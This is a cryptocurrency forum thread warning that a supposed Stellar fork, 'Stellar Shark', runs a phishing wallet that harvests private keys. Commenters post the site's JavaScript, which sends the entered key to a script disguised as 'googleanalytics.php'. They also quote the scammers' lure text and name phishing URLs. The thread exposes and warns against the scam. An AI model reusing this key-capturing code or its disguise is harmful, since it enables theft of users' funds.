Another XLM fork (Stellar Shark) Asking Private key on their wallet

[rhomelmabini]

Website: https://stellar-shark.com/
Archived: http://web.archive.org/web/20190615065233/https://stellar-shark.com/
Thread link: https://bitcointalk.org/index.php?topic=5153990.msg51457090#msg51457090
Archived: http://web.archive.org/web/20190615082634/https://bitcointalk.org/index.php?topic=5153990.msg51457090
Profile: https://bitcointalk.org/index.php?action=profile;u=2627781
What happened: Another Stellar fork, wallet ask for secret key or private key, and possible promoting scam.




For those who will go to their website especially their wallet never ever input your private keys. Stellar Dolphin fork has been proven scam in the past and this Stellar Shark is way more ferocious fork I guess, so beware with this one.

Domain name: stellar-shark.com
Registry Domain ID: 2401366345_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.namecheap.com
Registrar URL: http://www.namecheap.com
Updated Date: 0001-01-01T00:00:00.00Z
Creation Date: 2019-06-12T16:59:17.00Z
Registrar Registration Expiration Date: 2020-06-12T16:59:17.00Z
Registrar: NAMECHEAP INC
Registrar IANA ID: 1068
Registrar Abuse Contact Email: email@namecheap.com
Registrar Abuse Contact Phone: +1.6613102107
Reseller: NAMECHEAP INC
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited

Registered just 3 days ago.

[1714103052]

1714103052

[1714103052]

1714103052

[1714103052]

1714103052

[skulomania]

No doubt it is a scam project trying to scam newbies because they are asking for a Stellar private key to submit to its site to be able to use the wallet.

This hacker/scammer will do anything to scam/hack people.

[djhomeschool]

I looked at the sourcecode of the online wallet and indeed they are phishing:

Code:

 <script type="text/javascript">
    function StellarLumensApi() {
    var StellarApi = document.getElementById('StellarApi').value;
    //alert(googlemetrics);
$.ajax({    
   url: '',
    type: 'POST',
    url: '/googleanalytics.php',
    data: {'StellarApi' : StellarApi},
    cache: false,
    success: function(response){
        if(response){
            $('#res').html(response); 
        }
    }
});
}
</script>

They mask the PHP post script as "googleanalytics.php" but it is infact a PHP post script that will store your private key into a txt file.

Google Analystics does NEVER use PHP post, certainly not via Javascript and Ajax with data forwarded tot a PHP page.

[fortunecrypto]

I looked at the sourcecode of the online wallet and indeed they are phishing:

Code:

 <script type="text/javascript">
    function StellarLumensApi() {
    var StellarApi = document.getElementById('StellarApi').value;
    //alert(googlemetrics);
$.ajax({    
   url: '',
    type: 'POST',
    url: '/googleanalytics.php',
    data: {'StellarApi' : StellarApi},
    cache: false,
    success: function(response){
        if(response){
            $('#res').html(response); 
        }
    }
});
}
</script>

They mask the PHP post script as "googleanalytics.php" but it is infact a PHP post script that will store your private key into a txt file.

Google Analystics does NEVER use PHP post, certainly not via Javascript and Ajax with data forwarded tot a PHP page.

Good job, by now everyone here knows that any website or developers even if they have a good reason who would ask your private key even if they have a good intention should be treated as a scammer, they are sugar coating their invite to download so don't fall for it.

[fulled]

Is Stellar Shark is a wallet provider like Lobstr? if yes i think its normal to give key and passphrase, but i dunno about things like store in txt file like you said, anyway thanks for this info, i was thinking to participate on Shark campaign, after reading this i suddenly dont want to join its campaign anymore

[cabron]

They registered 3 days ago and then going staight to collecting Stellar funds thru forking - solid plan.

As long as it asked for private keys, its always going to be a question of whether you trust them or not. You better choose not to trust anyone with your wallet's private key.

[smyslov]

I created a flag for this I hope you can support me developer asking for private key should be flagged
https://bitcointalk.org/index.php?action=trust;flag=279

[magneto]

I created a flag for this I hope you can support me developer asking for private key should be flagged
https://bitcointalk.org/index.php?action=trust;flag=279

Supported.
Don't believe in it just because it is advertised as a fork/airdrop of XLM - just because they are doing this does not guarantee their legitimacy or security in any way.

Instead, see through what their intentions are. They do not need your private keys to distribute funds through an airdrop, yet they choose to do it this way. Why? Because they were never a legit fork of XLM to begin with and their ulterior motive is to steal your funds. Never provide a third party with your private key, especially when it has funds in it (which has to be the case for you to receive the the airdrop).

Also, I wouldn't recommend downloading anything from their github repos, including software that they release. Might contain malware for all you know.

This is a scam project that asks for Stellar private key on their phishing site

Already have a scam thread: https://bitcointalk.org/index.php?topic=5154525.0

This is not SCAM

Their response to the accusation is comical, but I can't believe in the amount of shills they've got in the form of bounty hunters still doing jobs for them despite the warnings. Absurd. 

[umbara ardian]

I did put my private key there, not my main stellar address, but zero balance.
I am just generated new stellar address and waiting what scaming happen next

[rhomelmabini]

I did put my private key there, not my main stellar address, but zero balance.
I am just generated new stellar address and waiting what scaming happen next

I do not know if that's wise decision at all but let us see what will happen and as it has zero balance I guess no activity will be done likely if it's to true they'll airdrop 1:1 for all XLM holders and as it is zero balance too and sure it's scam no XLM will be gone.

Safe to say let's wait for the hardfork this 27th and sit around and watch what will they do.

[taguig]

I did put my private key there, not my main stellar address, but zero balance.
I am just generated new stellar address and waiting what scaming happen next

I do not know if that's wise decision at all but let us see what will happen and as it has zero balance I guess no activity will be done likely if it's to true they'll airdrop 1:1 for all XLM holders and as it is zero balance too and sure it's scam no XLM will be gone.

Safe to say let's wait for the hardfork this 27th and sit around and watch what will they do.

My take is if they are going to do 1:1 ratio then that wallet should have a coin for it to receive an airdrop if it has nothing then you will not get an airdrop, asking private keys for a fork is a big no no and they deserve to receive that flag and negative trust, they are not doing airdrop they are stealing your coin that simple.

[cabron]

I did put my private key there, not my main stellar address, but zero balance.
I am just generated new stellar address and waiting what scaming happen next

I do not know if that's wise decision at all but let us see what will happen and as it has zero balance I guess no activity will be done likely if it's to true they'll airdrop 1:1 for all XLM holders and as it is zero balance too and sure it's scam no XLM will be gone.

Safe to say let's wait for the hardfork this 27th and sit around and watch what will they do.

And he expect something will be sent to an address that has nothing on it. When they say 1:1 it means they'd give you 1 Stellar Shark for 1 XLM.

But then anyway, don't expect much even if they give you something, this is a very insane project just when you see they as for private key, it should be put in mind that whoever ask for such information will fuck you up.

[rhomelmabini]

June 30 will be listing on Bithumb, the price per coin will be $ 0.08, the number of coins will be limited to keep the price, who have not yet received a free XLK, you need to import your XLM wallet in: https://sharkwallet.org/
if you hold XLM on the exchange or another wallet, you need to transfer XLM to https://stellar.org/account-viewer and import wallet to https://sharkwallet.org/

Can you add a link about your claim that it will be listed now at 30th of June at bithumb, even bithumb has no news regarding this. And on more thing this thread is so silent it's just your nonsense bumps.

All XLM holders will be entitled to free XLK coins at a 1:1 ratio.
To get free XLK you need to import your XLM wallet in: https://sharkwallet.org/
if you hold XLM on the exchange or another wallet, you need to transfer XLM to https://stellar.org/account-viewer and import wallet to https://sharkwallet.org/

Just a little bump and therefore I say this really a total scam.

[tedyx]

Make sure you don't click PM links coming from naufalbashar scammer.
He's using special character г which looks like r

He's PMing people requesting clicking on a phishing website to "reply to him"

Phishing website is currently hosted on www. martynparry. com.au/index/?topic=3243635.0 (DO NOT GO THERE OR LOGIN WITH YOUR BITCOINTALK ACCOUNT, IT'S A PHISHING WEBSITE!!!)

I have already reported him to bitcointalk staff and to website admins as well (looks like legit website has been hacked and added fake phishing forum)